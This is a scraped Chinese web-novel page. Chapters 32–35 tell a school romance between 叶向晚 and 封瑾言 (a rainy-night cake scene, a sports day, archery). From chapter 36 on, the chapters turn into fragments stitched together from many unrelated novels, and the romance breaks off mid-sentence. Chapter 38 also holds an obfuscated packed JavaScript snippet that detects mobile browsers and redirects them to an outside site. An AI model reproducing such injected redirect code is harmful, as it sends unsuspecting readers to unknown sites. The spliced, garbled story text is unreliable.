叶向晚看了眼站在门口等着她的封瑾言。 朋友……吗? 她不知道,毕竟也没有过…… 所以……算吗? 叶向晚拿着管家找来的衣服来到卫生间,“咔嚓”一声,卫生间的门被锁上,窸窸窣窣的衣物声很快传来。 封瑾言回卧室换了身家居服,就又回到一楼的客房。 32:喜欢(4) 他看着卫生间瓷白的门,那一片玻璃上雾气缭绕的,里边暖黄的光散射着映在上面,忽明忽暗,隐约间似乎有极其模糊的人影晃过。 他看了片刻垂下眸,目光落在自己摆在地板中央的蛋糕上,外边的纸壳只有边角被淋湿了,叶向晚没有给他买最小的那种,反而是六寸生日蛋糕的大小。 这个味道的蛋糕还不错,切开之后看着融化的巧克力浆涌出来,简直是一种享受。 他拿出包装里送的刀具,手刚要落下,就堪堪停在了蛋糕表面。 还是等叶向晚出来吧,女孩子应该很喜欢吃这个味道的蛋糕,想着,封瑾言就窝在沙发上百无聊赖地刷起手机。 房间里很安静,只有不远处隔着一道门的那边,水流打在地上忽强忽弱的声音混杂着外边的雨声。 没过多久,水声就停了,门被一把推开。 叶向晚拔着头发走出来,额前的刘海被湿漉漉的水汽压得有些遮住眼睛,细碎的水珠顺着发丝渐渐凝集,沿着脖颈的线条滑下,落进宽松白色T恤里,沿路留下一片湿润的光泽。 叶向晚站在他面前,休闲裤的两条绳子松松地打了个结,轻轻晃动着。 这衣服也不知道管家从哪里找来的衣服,显然这衣服大了。 “钥匙。” “什么?” 封瑾言没听太清。 “你觉得你是骗我的,宿舍的钥匙你有,给我。” 叶向晚重复了一遍伸出一只手。 封瑾言回头看了眼窗外,突然整个晦暗的天空都闪了一下,他皱了皱眉,回身一把拉住那只还有些湿软的手,往下一拽。 叶向晚没有料到,身形一晃,整个人倒在了封瑾言的身上。 两人各自一愣,彼此寸许的距离盯着彼此,暧昧气息从二人之间蔓延。 “今天别走了。” 封瑾言突然出声。 叶向晚忙从她身上起来,但手却被对方握着。 她垂下眼看他,那琥珀色的瞳孔里映着头顶的灯光,极亮,握着她的手温度很高,没有一点要松开的意思,她有些不适应地挣了下。 “你还生气?” 封瑾言攥得更紧,眉心都皱出了一条很深的纹路。 “我做的的确不对,但我都道了歉……而且我什么时候这么低声下气地求过人?好了,不气了,坐下来吃蛋糕,你们女生不都喜欢吃蛋糕。” 说着又往下拽了一把,叶向晚猝不及防的弯下腰,T恤裹出了肩背弓起的纤细轮廓。 “求人有你这么霸道的吗?” “啧,求人?” 封瑾言从旁边拿起塑料刀,硬塞进了她手里,“给我切蛋糕,我就等你出来一起看爆浆。” “……” 叶向晚蹙着眉站了一会,她从来没在别人家里住过,就像别人也从未进入过她的领地一样,陌生,没有一样熟悉的。 甚至连和眼前这个人的关系都不知道该怎么定义,只是这个人总是格外主动地靠近她,甚至开始挤入她的生活。 她看着自己被挂住的手犹豫片刻,还是下定决心转了身,她不想在意别人,因为自己总是要走的。 结果,沙发上的少年一个箭步,从她身后搂住了她的腰。 “……你干什么?” 叶向晚反应很激烈的挣扎着,长这么大还没人这样对她过:“放开我!” “这么激烈干什么?我又不会吃了你。”封瑾言搂的反而更紧,他微微低头,薄唇在她耳边吐出特气:“我是真的没有钥匙,你今天就住在这里,嗯?” 暖热的气流拂过耳畔,少年清脆的声音带着温度直顺着耳膜往身体里钻,叶向晚偏头摸了下耳垂,半晌才道:“……好,不住。” “真的?” “赶紧放开我,我不习惯这样。” “好。” 封瑾言这才松开了她,然后将蛋糕拿到她面前,又把刀叉塞到她手中:“切蛋糕吧!我的前座。” 叶向晚:“……” 她认命般地拿过蛋糕与刀叉,然后手起刀落,过了久许巧克力浆已经凉了,缓慢而又厚重地缓缓滑下,在茶白色的盘子里轻轻散开,两人一躺一坐就这么安静地看着。 “封瑾言,”叶向晚突然偏过头:“我们现在……是什么关系?” “嗯?” 封瑾言把脸冲向叶向晚,但眼神还盯在蛋糕上:“什么?” “……没事。”叶向晚递给了他一个叉子:“吃吧。” 封瑾言突然回答她:“我吃个亏,四舍五入算朋友……” 外边雨声越来越大,似乎都浇起了一片白烟,叶向晚在谤沱的声音里听见了最后几个声音软下去的字: “……可以吗?” 可以吗…… 她不知道,对叶向晚来说这么多年被迫的冷淡,已经让她给自己筑起了难以翻越的沟壑,但如果是封瑾言的话…… “你朋友应该很多吧?” 她看向还在用叉子轻轻怼着蛋糕的少年,这种天生含着金钥匙的人怎么会缺朋友呢? “……我没有……朋友。” 封瑾言垂眸放下叉子。 封瑾言的眼睛生得非常好看,眼窝很深,睁开时眼皮被压出清晰的皱褶。 平时面对面,他的人影和日光就映在里面,清亮亮的,那里盛满的各种情绪总是很容易被看懂。 但当他这样低垂着眼,弯长浓密的睫毛在眼尾落出一片暗影时,他明明什么都没说,却显得有点孤单。 “其实你也看到了,我们这个圈子都是利益纠葛,相互介绍孩子的时候,这个是哪个集团的公子,那个是哪个老总的千金,这就是我们的名字,彼此之间记不住也没关系,只要清楚爹是谁就行。” 封瑾言把放在碟子里的蛋糕几乎怼成了泥,盘腿窝在地毯上接着说道:“其实我们同龄的那些,在不怎么懂事那时玩的还挺好的,但大一点后就都很默契地保持了一种距离。所以朋友……” 封瑾言嗤了一声:“不存在的。” 叶照默然片刻,重新切了一块蛋糕放到盘子里推了过去。 “但……你不一样,你就是你,在你眼里我也就是我。” 33:喜欢(5) 封瑾言的目光终于离开了蛋糕,顺着叶向晚收回去的手移了上去:“你虽然看起来很有些内向,但……” 叶向晚忽然有点受不了这种抒情的氛围,轻咳一声,把头偏向窗外。 “……其实挺闷骚,还不要脸。” 封瑾言补完了后半句,说着还点了点头。 叶向晚:“……” 他竟然说自己闷骚不要脸?! 这形容词应该是他吧! 叶向晚向来是个能动手就绝不动口的小女子,于是她张嘴对着这个满嘴诳语的少年的胳膊咬了下去,小嘴咬的还挺用力。 “嘶,你属狗的么?!” 封瑾言轻扯着她后颈,但对方就是不松嘴,他也没用太大力扯她,她竟然喜欢咬,索性让她咬个够。 叶向晚咬的差不多才终于松开了嘴,见封瑾言胳膊上有着她的牙印,她抬起头来,想想看看对方是怎样的表情。 正好封瑾言低头,二人本就距离近,彼此的唇差点触碰上。 叶向晚有些心慌的忙别开脸,耳尖微微泛红。 奇妙又透着暧昧的气息再次蔓延,最后还是封瑾言打破这气氛,他抬起被她咬的胳膊:“你下嘴还挺狠。” 叶向晚瞄了一眼他胳膊,牙印在他白皙的胳膊上醒目可见。 她抿了抿唇:“你要是生气,就咬我一下吧!” 她把胳膊朝他伸过去,去触碰到了封瑾言的喉结,对方喉结滚动了一下,叶向晚瞬间收回胳膊,背过手轻轻摩挲着。 封瑾言看了一眼低着头,耳尖又泛红的叶向晚,刚想说话,“咚咚咚……” 门突然被敲响。 封瑾言皱了皱眉:“进来。” “少爷,车老师刚说还有半个小时才能到,今天雨大路况不太好。” “嗯……”封瑾言低声道:“那就让暴风雨来得更猛烈些。” 孙伯:“……” “诶?少爷,” 孙伯刚想关门,动作突然停住了,疾步冲他走了过来,“您胳膊怎么了?这是……”被人咬的? 叶向晚有些心虚的看过去,“这是我……” “这是我自己咬的……” 封瑾言突然站截住了她的话,叶向晚看着他。 “啊?少爷你为什么咬自己啊?” 封瑾言面不改色的乱扯:“我有咬自己的爱好。” “……” 孙伯一脸不解与怪异,少爷什么时候有这种怪癖? “这没你什么事,你先出去吧!” “哦。” 孙伯一脸纳闷的出去了。 门在一片诡异的沉默里被关上。 片刻后,封瑾言的目光从眼尾瞥扫过去:“是不是觉得内疚?” 叶向晚没回答,只是挖了一大勺蛋糕,递到对方嘴边:“吃。” 封瑾言勾了勾唇,张唇吃下了对方的投喂。 叶向晚其实是不太喜欢吃蛋糕这种甜食,大概是淋了雨、洗过澡所以饿了半天肚子,也可能是……气氛使然,她破天荒地吃了整整一半。 “你一会是要补课吗?” 她舔了舔唇角,才感觉到有些甜腻。 “嗯,我妈让我上的经管课。” 封瑾言起身给叶向晚倒了杯水,“他们想让我以后经商管公司,但我没兴趣,可非要上完这个才能上表演课,昨天还被同学一顿发消息,最后时间太紧了我卷子都没写完,今早就起来的特别早写卷子,写完后没什么事就去晨跑……” 说着突然想到早上叶向晚直接摔在桌上,忍不住勾了勾嘴角。 “你……” 叶向晚一下就明白他为什么笑,抬脚轻轻踹上他膝盖,“笑个鬼,你当时也不接我一下,故意的么?” “真不是……” 封瑾言被他这么一问突然忘了缘由,只记得那时候好像是在发呆,当时的天很蓝,阳光很好,整个清晨的所有都显得慵懒缱绻。 在那片沉静里唯一清晰地就是耳边的呼吸声,放松得毫无警惕性,就像一只窝在窗台晒太阳的猫,浅褐色的毛映着亮金色的光斑,身体随呼吸轻轻起伏。 就是那阵呼吸。 发呆大概是因为那感觉太舒适的缘故吧! 雨不知不觉间变小了,好像这片沉重的云在谈话间飘远,被堵在路上的车老师终于到了。 身为老师的他却如同他是学生一般跟在封瑾言身后往门外走时,叶向晚看着好笑,刚想打趣一句,出口却不成想变成了个喷嚏。 封瑾言闻声转回了头:“你不会是感冒了吧?你后天还要……” 声音倏地戛然而止,封瑾言的表情欲言又止的。 “还要怎么?”叶向晚狐疑地看着他。 明天开始就是运动会,叶向晚虽然没留意过每天的项目安排,但是按照常识来看,第二天的主要项目应该都是长跑之类……的。 叶向晚忽然反应过来:“你给我报什么了!” 封大少爷难得自知理亏,刚才还恨不得一直待在房间里不想出去,现在只想快点离开,身后扬起的风把车老师头顶没剩下的几根毛发差点吹的一根都不剩。 于是,第二天叶向晚不出所料地感冒了。 她一晚上都没睡好,不是熟悉的地方本身就睡不踏实,结果鼻子还不通,堵得她一觉醒来头昏脑涨。 一直身体很好的人,一旦生病经常来势汹汹,她甚至感觉步子都有点飘,像是大清早起床就喝了几两二锅头。 昨晚下的那场大雨把操场上跳远用的沙坑浇得泥泞不堪,他们正穿过操场走向看台,封瑾言一只手撑着雨伞,一手拽着叶向晚走,结果一个没看住,叶向晚直接就一脚踩了进去。 封瑾言:“……” 封瑾言赶忙把她拉上来,看着那一鞋子的泥巴想擦都下不去手,但人病成这样毕竟是他的锅,想抱怨几句都觉得脸疼。 叶向晚平时是那种小憩之前都要擦遍桌面的人,这一脚下去表情瞬间就跟踩了狗屎一样,眼看着脸就黑了下去。 她眼圈上本就带着一晚没睡好的青紫,低头盯着自己左脚时,唇瓣都抿成了条僵直的线。 封大少爷第一次为自己的肆意妄为进行了深而又彻底地反省。 片刻后封瑾言重重叹了口气,认命地蹲下身去。 34:喜欢(6) 本来他们两个自开学就因为传言成了重点八卦的对象,后来又因为成绩和外貌做了校园风云人物,所以无论走到哪都不缺关注。 此刻就在一片使劲也没压抑住地惊呼声中,封瑾言将雨伞放入叶向晚手中,然后蹲下身去,把叶向晚脏兮兮的鞋脱了下来,之后低头把自己的鞋穿她脚上,他打着赤脚,手里还提着叶向晚脏兮兮的鞋。 雨水淋湿了他的身子他也不在意。 所有人都惊的几乎掉下下巴,高不可攀又不可一世的封家大少爷竟然给叶向晚提鞋?! “我靠!我是不是做白日梦了?你快掐我一下。” “同是生而为人,我什么时候能等到封大少爷给我提鞋!” 封瑾言在一片嘈杂声中提着叶向晚的鞋,然后就看见叶向晚轻轻跺了跺脚,似乎很不满这新鞋过大。 过了会眉头才舒展开来,又自顾自地往前走,也不知是这鞋太大的原因,没几步抬脚居然又要往泥坑里迈。 “……叶向晚,你简直就是我祖宗!” 封瑾言一个箭步冲上去,边叹气边拽住了叶向晚的手腕,那一瞬间的触感居然有些格外热。 他低头看了眼手里那细白的皮肤,犹豫片刻紧了紧指尖,拉着叶向晚穿过熙攘的人群一起往前走…… 校运动会自古以来都是一场全校学生难得可一起躁动的仪式,在龙川这种教学要求极其严格的日常里,虽说明面上目的是交流人脉,但实际做起来就是个富二代们的大型狂欢现场。 其实在运动会开始的半个月前,学生们就已经按捺不住了,因为他们需要准备的花样太多,比如全班方阵进场时穿成什么样才能艳压群芳,比如运动会最后一天下午的各班文艺表演,出什么节目才能永垂校史。 当然叶向晚除了性子内向不理人之外,主要是大家普遍认为叶向晚只听封瑾言的,所以都觉得封瑾言的意思就是叶向晚的意思,便也没找她讨论过。 于是在她被拉着进入看台后的更衣室时,看到了整整一面墙的头发时。 叶向晚:“?!” 当她再一转身又是一整面差点闪瞎眼睛的龙袍时。 叶向晚:“???” 而且不仅如此,生活委员的心思很细,大概是因为看天气预报觉得今天气温有点低,所以还专门一人配了一个大毛领,它们成片的挂在架子上被门口刮进的风吹得来回晃,看着活像什么违法屠宰现场。 “不错……” 封瑾言拖着愉悦的尾音,拽着叶向晚来到两个格外华丽的龙袍前面,一金一银,光滑精致的布料交映生辉。 她瞪着那衣服半晌,不详的感觉越来越重,扭头看向封瑾言一个字一个字地咬着吐出来。 “你别告诉我这里面其中一套是我穿的。” 于是封瑾言用实际行动做了回答,他取下那套银色的就放在叶向晚眼皮子底下来回比量,边比量还边夸赞自己:“果然适合你,我眼光还挺准。” “……” 这一个金角大王,一个银角大王,确定适合自己?! 叶向晚刚想着要不把这衣服给剪了,就听旁边生活委跑过来说: “你们两个领队快换衣服,就属你们的穿着最费劲了,不会的话叫我,我帮你们穿啊。” “什么?” 叶向晚差点没一口气被噎过去,“是前面举牌的那个领队?” 封瑾言一脸满意地点点头,“当然,我不领队谁领队?” “…那我是为什么也是?” “因为你合适!” “……” 确定她一个女生合适? 叶向晚无法直视自己穿着带大毛领的衣袍,然后踢着正步高举一块写着各种热血上头标语的板子,从全校师生眼皮下大喊着口号晃过去的样子,不禁浑身战栗,她人生中从没有过这种异常辣眼睛的“高光”时刻。 “我领队,你不跟着我还想跟着谁?别人想要演我还看不上!” “……” 封瑾言转身在另一面黑乎乎的墙上挑了两顶假发,“头过来,我来给你做造型!” “……” 叶向晚想把他的头拧下来。 最终在全班受气氛影响而格外爆棚的集体荣誉感下,还有封瑾言对她说你不穿只能光着上场的威逼利诱下,她一只脚迈出更衣室的门槛后,又被几个人拖回了座位。 叶向晚闭上眼睛面如死灰地忍着封瑾言在她头上来捣鼓,但没一会就被拍了下肩膀。 “行!” 封瑾言捏着她的下巴往上抬了抬:“我这手艺不错,漂亮。” 说完就开始解叶向晚的上衣扣子。 “干什么?” 叶向晚微仰着头,下意识一把拽住他的手腕。 “帮你换衣服,放心,只是脱外套……” “我自己来。” “这衣服很复杂,你一个人穿不来……恩?你手怎么这么烫?是不是又发烧……” “没,是你太凉。” 叶向晚拍开封瑾言的手,其实她感觉出自己身体这阵已经不太对劲了,但她不想让封瑾言知道。 此刻余光里,周围好奇又探究的视线几乎把她扎了个对穿,封瑾言的身份太过扎眼,一举一动都是这些人背后谈资的焦点,容不得有半分格。 就像刚来的路上,她脑子虽然因为感冒药劲上来了有点半懵状态,但封瑾言蹲下身给她换鞋时周围轰然响起的那一片议论声,还是让她在心里惊了一阵,以至于差点又一脚载进泥坑里。 但他很明白,那种孤单了太久后,突然有个人对你好点,就巴不得对他掏心掏肺的心情。 现在如果自己再不拉着点,真不知道这少爷还会做出多少让别人掉眼珠的事。 可现在回想起来,那些议论声都像隔着一层雾,只有半跪在她旁边的少年是清晰的,笨手笨脚却直白热忱,白皙的手指触到脚踝时,心里像被什么轻挠了一下。 以前没有人对着她那张冷淡脸还能说得下去话,更没有人会一遍遍乐此不疲地去逗自己笑,更别提这种丝毫不加掩饰的关心。 35:喜欢(7) 自己不是个完整的女性这件事没有一个人知道,所以她从未想过去谈恋爱,结婚…… 尤其像封瑾言这么金贵的人,他从出生就万众瞩目,以后也会只多不少。 理智告诉她,他们不在一个世界,封瑾言对她的好是毒不是药,她怕自己有天会控制不住,会爱上,到时候她只会痛苦,封瑾言也会痛苦。 可……她现在……还能全身而退吗? 叶向晚站在队伍最前头的时候,脸上就剩下个“无语”两个字了,那白皙的脸蛋冻得不非礼都不敢直视。 脖子上的毛领被风吹得有些痒,她本想伸手去挠一下,但瞬间感觉自己仿佛是个放在展馆抓嘴挠腮的猴子,手抬到一半硬是把动作止住了。 “怎么了?” 封瑾言俊脸靠了过来。 叶向晚:“……” 叶向晚看着面前那一头飘逸的白色假发,什么想法也没了。 “所有人都在盯着我们看,咱们这样确实有些太拉风,只怪我玉树临风,丰神俊朗,朗目疏眉,美如冠玉……” “……” 叶向晚嘴角抽抽,这家伙竟然这么臭屁。 “只可惜你只是第二。” 她觉得自己如果再不说句话,这人牛皮就能把自己给吹飞了。 果然不出所料,一刀见血,封大少爷扭头不理她。 但很快这位爷又扭头对着她接着吹。 “诶?真是你们啊……” 蒋欢踩着高跟鞋,穿着和平时严肃职场风格完全不同的清新长裙从操场那边过来, “我大老远除了看见这天气依旧坚持全班露大腿的(3)班之外,剩下一眼就看见你们了。” “对吧!” 封瑾言冲叶向晚扬了扬下颌:“老师我看起来是不是特风流倜傥,她英姿飒爽?” 蒋欢捏了把他的白毛:“嗯,是挺风流……” 然后看了眼叶向晚直接略过倜傥,说出后面四个字:“英姿飒爽的。” 然后风流皇帝的白毛几乎要炸了。 不过其实封瑾言的眼光真的很不错,本来这个阶层的男女生骨子里就带着那种傲气,当这群披着龙袍的真天皇贵胄巡幸到看台前最中央,一同潇洒地甩袖作揖时,全校都疯了。 本来他们觉得皇上不应该行礼,但是想着班好几十人样在搡场上冲看台指指点点,寻思着雨露均沾的样子实在太傻逼了,索性改成了最经典的动作。 不知是不是因为全校反应太大,尤其是女生们的尖叫声太过鼓舞人心,封瑾言整个人肉眼可见的亢奋了起来。 脱下龙袍,他居然又特意换了一身显眼的蓝色卫衣,俊脸冲着叶向晚直笑,笑得她后背汗毛都起来了。 “您能别笑了吗?”叶向晚扶着额头,“一会比射箭了,紧张一下行吗?” “紧张?我封瑾言字典里就没有紧张二字。” 叶向晚看了他一会,突然问:“你为什么对经商不感兴趣?” “哪有为什么,就是不感兴趣。” “那你对什么感兴趣?” 我封瑾言突然抬起手指着校园外距离很远的一座宏伟建筑,楼顶的超大荧屏上正播放着一段逼格很高的广告,其中的人物是刚荣获“影帝”称号的一位男演员。 “像那样的。” 叶向晚有些诧异:“你想成为影帝?” 封瑾言并未正面回答:“从出生我就按部就班地按照一条被规划好的线活着,是那种一眼就望到头了的人生,这不是我不想要的人生。 我想靠自己走上最顶端,成为京城万众瞩目又人人敬仰之人。虽然现在还未达到,但日后我一定会做到的。” “你现在不就是万众瞩目人人敬仰之人?” “那是因为我有个封家大少爷的头衔,没了这个身份,我就只是封瑾言,没几个人认识。我要别人知道我封瑾言三个字,日后人人敬仰我,喊我封爷,而不是封家大少爷。” “啧,你们这些有钱人的公子哥,想法真独特。” 叶向晚嘴上嘲讽着,可都说自信的少年是带着光的,她现在看着封瑾言嘴角那片飞扬的笑意,还有周身自骨骼里透出来的桀骜与坚定,她就知道,他一定会成为京城那个万众瞩目人人敬仰的封爷。 运动会刚一开始,伴着发令枪响,观众席就疯狂欢呼起来。 封瑾言站在一排人中央,袖口高高挽起,露出来的小臂肌肉不夸张但却线条紧实,他动作利落地拉开弓,闭起一只眼睛,几乎没用多少瞄准的时间,就出了手。 电子屏上显示出9.6环,随着周围人震耳欲聋的呐喊,叶向晚看见他转回身,冲着自己的方向笑着比了个“OK”。 极其短暂的怔愣过后,叶向晚微微点了下头,动作很小,但她就是觉得封瑾言看见了,因为那人勾起的嘴角一下显眼起来。 最终没什么悬念,比了三局封瑾言总分最高。 龙川运动会采取的是积分制,一二三名分别得9,7,5分,四五六名的3,2,1分。 这一场后他们高一(1)班坐上了一位。 封瑾言迎着自己班热烈的欢呼声跑了回来,也还都是十几岁的少年,这时候看着屏幕上自己班位列第一,连说话声调都扬了起来,围着封瑾言七嘴八舌。 “都别激动,正常发挥,这才刚开始,后边大家一起努力。” 封瑾言边笑着边从人堆里挤了出来,冲到一直站在人群最后默默望着他的人面前。 他脚底不知被什么绊了一下,撑着叶向晚的肩才止住去势,但动作掀起的风里都带着股兴奋。 “就问你帅不帅!小时候教练就说我射箭很有天赋,对了,我一会跳高,免费雇你做摄影师怎么样?” 叶向晚刚抬起的手顿了一下,但很快又重新继续动作,轻轻把他那一头跑乱的碎发顺了顺:“你这生意做的很划算呀。” 不知是不是因为封瑾言眼睛弧度生得好看,叶向晚看见里面映得自己的表情似乎都没那么冷淡了。 “当然很划算,我这风流倜傥的,一张照片卖出去起码五万起。” 36:彼此的感情越来越微妙(1) 两人背着山药根下山进了村时,正是夕阳西斜,落霞满天的时候。各家都开始生火做饭,到处飘着袅袅的炊烟。自己家的院外却似乎有些异常,有许多人围在那儿,指指点点的,不知发生了什么事。 “这事儿……到底是怎么传出去的呀,没的引出这么多事来。”杨桃暗叹口气,不过一场平平常常的议媒,两方都是私下里悄悄商议的,怎的就会传了出去?不但引来了吴爷,还惹恼了三婶,这回地也买不成了。 “叫人把房间打扫干净,把这些东西都处理掉!”转身对着宝叔吩咐到,迈开长‘腿’朝着‘门’口走去。 就在高敬宗为众宦官和宫娥灌入他的后世医术医德精神时,突然沈七赶紧跪在地上。 高敬宗最终与郗超二人在房中密谈一个时辰之久,具体二人谈了什么,反正无人可知,而且高敬宗和郗超二人都没有留下只言片语。 而李健只是有些疲惫,和一个大公爵单挑,最后谁也没有杀了谁,虽然一直以来李健占有上风,如果给他一定的时间,李健一定可以将他的对手斩杀,但是现在他的对手已经效忠于克劳迪娅了。 窦青闻言豁然站起身,神情中是又惊又怒,事态的严重性已经大大超出了他的预料。 就在易金闪闪冥思苦想的时候,突然间响起了一阵敲‘门’声,司马森猛然的紧张了起来,不会是那厮来跟她算账了吧? 传说有人手持千鸟,曾斩断过从天而降的雷霆,因而有了雷切这个名字。 可是黑肤男子哪有一丝疼痛的样子,他的眼中是近乎癫狂的兴奋。那一管针剂可以调整他的状态,同时会扰乱他的神经、带来禁药般的上瘾和依赖。 李梦月的脸已经红的像是煮熟的虾,她深呼吸了几次,抬起脚,准备离开这个房间,可是下一秒,不知是里面的人动作过大,还是门没关好,换衣间的门打开了一丝缝隙。 林攸走过去,撩开了竹帘,看到里面那人的刹那,瞳孔微微一缩。 他们找梦寒烟必定有要紧的事情,而且他们认定了我一定知道梦寒烟的下落。 “杀生丸不会喜欢看到有人怜悯他的,他一点都不需要。”初音淡淡地说。 2009年夏天皇马为了得到克里斯蒂亚诺·罗纳尔多花了九千六百万欧元,四年之后,为了得到唐铮,更是花了超过一亿的代价。 身形一闪,齐天和天篷便是消失不见,那道充斥着毁灭气息的剑气重重的斩击在树洞当中。 他虽然不是什么好人,但是也不想去做这种太过竭泽而渔招人痛恨的事。 但是韩国当地媒体对唐铮的批判是无处不在的,很多韩国媒体认为韩国失去直接晋级巴西世界杯的责任在于唐铮,如果没有唐铮,他们的晋级之路不会充满荆棘。 克洛普这么做的原因是希望唐铮先立足防守,然后等到比赛进入关键时刻再给予致命一击。 眼前白茫茫一片,充斥着白雾的四周,早已看不见之前的进来的人的身影。 这她可是接下来几年华纳唱片的重点打造对象,就连具体的大培养方针,吴正圆都给做好了呢,这她还会谢谢莫轩。 身周游走着火焰骷髅兵,身后跟随着巨大的火焰死灵恶魔,朱鹏自己则在白骨山脉里挖掘着,凭借外骨骼装甲的强大动力,不一会的功夫他就从众多的骨头当中拔出了一枚象牙般黄铜色的骨头。 等到缓过了精神来,瞧着自己这短短十分钟的“成果”,莫轩的脸上露出了“满意”的笑容。 而南宫信却是剑走轻灵,一个拙一个巧,一个力大招沉,一个招式精妙,斗在一处,一时难解难分。 转悠到天黑,轮船在尼罗河一段安宁的河边落下锚休息,夜航是不可能的,尤其是在水道特殊的尼罗河之上。 “等得到生物改造技术后,看看能不能做出一番事业来。”林锋有放弃宠物行业的心思,但是想起任务的奖励,他觉得,提早布局的话,未来一定能派上用场。 一瞬间,“双子座”项链的价格便被叫到三百三十万港币的高价,而且大家的热情还没有丝毫的减退,此时拍卖会的加价声还此起彼伏。 不过这一切还是唐铨的猜想,他得看到真正的星球灵魂才能知道,他手一招收起大白球闪身出了飞船,在太空中收大型飞船还算轻松,搞定这一切唐铨便继续驾驶飞船向木星方向飞去。 37:彼此的感情越来越微妙(2) 少顷,叶向晚看向别处,背手拽了下身后紧贴脊骨的衣服,突然大腿被轻轻撞了两下,她低头。 “你是不是很热?” 说着,封瑾言贴着她腿的后背往前倾了倾。 “没。” 叶向晚匆忙间抬手搭在了他头上,指尖触到发丝的瞬间微微一顿,但接着还是揉了揉那阳光下泛着金色的柔软卷毛。 “就这么坐 李姐虽然句句没有说自己想表达的意思,但是句句都在说自己的想法。 从早餐开始,大家就已经开始在聊离别的话题,有的互加微信,有的互动礼物,还有的相约着以后再一起玩。 手中的拂尘断裂,这让他受到了巨大的反噬,一口鲜血猛然喷出。 这期间录制完的学员可以离开,不需要一直天天在,这样节省制作方的费用。 至于天命古帝所留的那道大帝秘藏当中,有什么东西,白夜就不清楚了。 她没多说什么,她之所以发声,是因为陈少荣答应给她再写一首歌,还给了她听了采样,邓诗娅本来在港圈现在也没多少工作,而且她也知道陈少荣如果能再帮她写一首歌,她肯定在乐坛有一席之地了。 那时候她忙着在霍宴开面前树立善良热心的人设,也是四个混混全死了会引起霍宴开起疑,所以放了那人一马。 接下来,裴冰儿又将她所知道的关于关西清宫的事情详细说了一遍。 陈少荣的新闻发布会是提前预约了寒国首尔这边的一处衙门投资的会议中心,类似华夏的国家会议中心,平常也会出租场地给一些企业开发布会。 面对此时此刻的藤原介右,东方云阳倒是不在意将实情告诉对方,当然他倒也没有去过多细说,仅仅只是简单地说了说,因为在他看来,说多了也没有什么必要。 第二则是王夫人,她再没想到,当日一时善心,和贾政一起救得这个大房庶子,如今竟到了这个地步,完全遮掩盖过了她的儿子宝玉的光芒。可偏贾琮对贾政和她都十分恭敬,让她都不知道该抱何等心思才好。 “您是?”距离林初上一次见到沈阳已经过了一个月左右,外加上外头有一些昏暗,他一时间倒是没有认出沈阳。 黛玉、湘云、探春等看了会儿贾琮,又下意识的看向身旁正盈盈望着贾琮的宝钗。 “呵呵,对别人可以轻轻放过,对你就不行了!”长城路派出所所长赵国政意味深长道。 那些士兵在斩杀了最后一个普通人后,纷纷自杀在将军的面前,以死明志。 他们走到门前,只见那客栈门脸高崇,门的上方正中有块大匾,上面写着“龙门客栈”四个金色大字,左右有一副金字对联,上联:跃入龙门享富贵,下联:住进客栈中大魁。 毕竟是这两姐妹违约在先,自己才在不得已的情况下发起反击的。 说来也怪,道旁固然杂草丛生,在临近马车的一段距离后却是被某种力量推开。 第二天清晨,东方云阳就起床了,洗漱一番,然后出门跟木下六藏、山田纱织两人会合。 放逐之锋在下一瞬间便携带着惊天巨力挥向了艾瑞莉娅,而艾瑞莉娅手中的传世巨剑在背后四柄至尊锋刃的特殊剑意加持下,同样毫不犹豫的跟锐雯对装了过去。 北安国的炼丹师不管在数量还是在等级上都比苍元国的炼丹师高上许多,但像苏陌凉这样年轻的丹王中期还是比较罕见稀有的。 38:彼此的感情越来越微妙(3) 最后把接力棒交给下一个男生的时候,哭得都有进气没出气了。 他们班的好运气似乎就从这里耗光了一样,名次带着他们的心脏跟跳楼机一样疯狂下坠。 第六棒过去的时候都差第一名快一圈了。 “完,本爷真要力挽狂澜了。” 封瑾言胳膊架在叶向晚肩上,无奈的摇摇头。 叶向晚看了一眼肩上的隔 可是一到人形,几步就到了他身前,右手成爪,一把抓住青年的手腕,大拇指微微用力,触碰手腕软筋。 此时,唐尧和雷军已经跟龙娇汇合了,他自然也听到了这个电话的部分内容。 他是一代战神,与恶势力做了这么多年的斗争,现在却要去干帮家人的事情,直接站到了对面。 “前辈,你居然要作保,让我不要斩杀这头七阶魔兽?”洛辰微微一怔,眼中闪过一抹意外之色,想不到堂堂圣皇大人,竟要保住这头七阶魔兽前期? 唐尧哈哈一笑,竟挽着黄婉秋的手从西北角的那个窗口跃了出去。 角落里,一双阴鸷的眼睛注视着过道内的一切,心中不禁暗骂:麻痹的,怎么会这样? “六道轮回拳!”同时,姜辰大手一动,一拳便向着那振翅扫来的朱雀轰了过去。 拿下城门后,他并不急着强攻,而是老老实实将城墙经营好,随后掩护后方的黄忠大军入城。毕竟,对方不是死等着被干掉的,肯定会有援军。光凭一支商队,还不足以彻底掌控局势。 “走!赶紧走!”这一刻,哪怕是战天圣皇,也是察觉到了大大的不妙,尽管他心里知道,洛辰没有秒杀自己的能力,但看见了如此强大的威势,他也是产生了一丝恐惧。 手底下的谋士都很有本事,论据也充足,自己的任何一个决断,都将成为影响大局的关键,如果没有足够的魄力,确实很难及时作出决定。 大概一个多月,武器都制作的差不多了,大家伙的体能也都蹭蹭的上涨,幽灵和二哥正式给战士们开课训练了。 “让你难过了,这本是我应承担的事。”程延仲在她身边,默默躺下,思考着以后任何一种可能的情况,和解决的办法。他今晚夜不能寐了。 白矾巧扇放入衣襟内,随之大喝一声,虚空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860792|159427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一手,狂扇而去,一道透明的大手瞬间而凝,向苏木袭去。 清灵的声音似空谷幽兰,宛如从山间深处传出,透着无法抵御的诱惑。 “可是老爷,我们苏国公府今时不同往日……”水氏有些‘欲’言又止,望着苏子华,见他放了茶杯,眉头深锁,不敢再开口了。 在这大昊王朝,帝王帝母的话,并不是圣旨,这个跟地球上的那些皇帝不一样,是可以拒绝的,所以董君宝不想去就可以拒绝。 与冷季交好的友人,或是派人来问候,或是送来珍贵药材,或是亲至探望。 